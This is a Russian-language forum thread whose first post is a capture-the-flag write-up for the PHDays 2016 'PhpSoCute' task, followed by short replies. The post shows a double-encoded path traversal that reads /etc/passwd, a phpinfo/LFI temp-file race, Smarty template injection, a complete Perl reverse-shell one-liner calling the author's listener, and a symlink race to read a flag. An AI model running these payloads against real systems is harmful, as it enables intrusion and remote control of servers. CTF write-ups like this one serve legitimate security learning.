Antichat CTF Team Write-up PHDays 2016 PhpSoCute

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by banned, 20 Apr 2016.

  1. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    PhpSoCute

    http://php.hackquest.phdays.com:88/

    Дан какой-то бложек, с виду wordpress.
    Доступны урлы: index.php -> index.html, wp-admin.html

    Dirbuster нашел pi.php который показывает нам phpinfo.

    После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html

    http://php.hackquest.phdays.com:88/pi.php/1html
    Такой запрос нам показал интересный параметр PATH_TRANSLATED - redirect:/t3mp473l04d3r.php
    При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно.

    Пробуем doubleencode
    (%2569 - i), сработало!
    Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php -
    PHP:
    <?php
    @header("Location: index.html");
    ?>
    Удача!

    Читаем /etc/passwd
    PHP:
    root:x:0:0:root:/root:/bin/bash
    daemon
    :x:1:1:daemon:/usr/sbin:/bin/sh
    bin
    :x:2:2:bin:/bin:/bin/sh
    sys
    :x:3:3:sys:/dev:/bin/sh
    sync
    :x:4:65534:sync:/bin:/bin/sync
    games
    :x:5:60:games:/usr/games:/bin/sh
    man
    :x:6:12:man:/var/cache/man:/bin/sh
    lp
    :x:7:7:lp:/var/spool/lpd:/bin/sh
    mail
    :x:8:8:mail:/var/mail:/bin/sh
    news
    :x:9:9:news:/var/spool/news:/bin/sh
    uucp
    :x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy
    :x:13:13:proxy:/bin:/bin/sh
    www
    -data:x:33:33:www-data:/var/www:/bin/sh
    backup
    :x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc
    :x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats
    :x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody
    :x:65534:65534:nobody:/nonexistent:/bin/sh
    libuuid
    :x:100:101::/var/lib/libuuid:/bin/sh
    flag
    :x:101:65534::/home/flag:/bin/false
    Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось.



    О, у нас есть phpinfo и lfi. так это же баг!
    Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo
    В это время нам надо проинклудить наш файл через lfi.
    Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд.
    ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда.

    Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал: https://gist.github.com/firsov/52a249ab1b8da4dc9d2c654971e83f1c
    Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.

    Usage: perl php.pl http://php.hackquest.phdays.com:88/pi.php
    PHP:
    $phpcode '{var_dump(124)}';
    [​IMG]

    Не обращаем внимания на ошибки - просто копируем строку
    и вставляем в браузер.
    Смотрим view-souce и видим:
    Отлично! php код выполняется.

    Дальше я загнал перловый backconnect shell в base64
    PHP:
    perl -'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    И проинклудил такую строку:
    Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000

    На сервере увидел коннект с уязвимого хоста и ура, шелл есть.

    [​IMG]

    ls -la /

    [​IMG]

    Здесь видно 2 файла от юзера flag: /binary и /flag
    Прочитать нельзя.
    Пробуем выполнить команду /binary flag - получаем ошибку.
    Что же делать? Попробуем сделать symlink race condition

    Запустим еще один терминал с этим сервером.

    [Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны]

    В одном терминале запускаем /binary /tmp/lala в цикле
    В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala;
    И получаем флаг.

    За помощь спасибо mailbrush, yarbabin.
     
    1. DarkCaT

      DarkCaT ~Some Member~

      Joined:
      14 Mar 2016
      Messages:
      33
      Likes Received:
      13
      Reputations:
      17
      ПРосто шедеврально)
       
      1. MERRON

        MERRON New Member

        Joined:
        10 May 2008
        Messages:
        9
        Likes Received:
        4
        Reputations:
        0
        Это было внезапно
         
        capuletti, Ruslan1993it and DarkCaT like this.
        1. Ch3ck

          Ch3ck Elder - Старейшина

          Joined:
          9 Jun 2006
          Messages:
          1,364
          Likes Received:
          1,192
          Reputations:
          430
          Понаехали тут...
           
          #4 Ch3ck, 20 Apr 2016
          Last edited: 20 Apr 2016
          1. Zen1T21

            Zen1T21 Member

            Joined:
            13 Jan 2013
            Messages:
            158
            Likes Received:
            37
            Reputations:
            2
            А кто-ниб из форумчан участвовал в прошедшем RuCTF?
             
            1. shell_c0de

              shell_c0de Hack All World

              Joined:
              7 Jul 2009
              Messages:
              1,203
              Likes Received:
              619
              Reputations:
              690
              Шикарно!
               
              _________________________
              1. оlbaneс

                оlbaneс Moderator

                Joined:
                5 Nov 2007
                Messages:
                1,381
                Likes Received:
                1,099
                Reputations:
                356
                Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?
                 
                _________________________
                banned likes this.
                1. 23napster23

                  23napster23 New Member

                  Joined:
                  30 Nov 2015
                  Messages:
                  9
                  Likes Received:
                  0
                  Reputations:
                  0
                  А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ?
                  Это в каком файле вы обнаружили template inj. ?
                   
                  #8 23napster23, 23 Apr 2016
                  Last edited: 23 Apr 2016
                  1. banned

                    banned Banned

                    Joined:
                    20 Nov 2006
                    Messages:
                    3,324
                    Likes Received:
                    1,193
                    Reputations:
                    252
                    t3mp473l04d3r.php
                    там smarty->fetch вызывался
                     
                    1. Alexandr II

                      Alexandr II -=ImperatoR=-

                      Joined:
                      28 Dec 2007
                      Messages:
                      1,067
                      Likes Received:
                      670
                      Reputations:
                      87
                      в строй возвращаются старички ;)
                      по теме +
                       
                      1. Taktik

                        Taktik Member

                        Joined:
                        27 Jun 2008
                        Messages:
                        27
                        Likes Received:
                        10
                        Reputations:
                        5
                        Учавствовал
                         
                        1. winstrool

                          winstrool ~~*MasterBlind*~~

                          Joined:
                          6 Mar 2007
                          Messages:
                          1,415
                          Likes Received:
                          911
                          Reputations:
                          863
                          Присутствовал, но не участвовал.... не был в команде....
                           
                          _________________________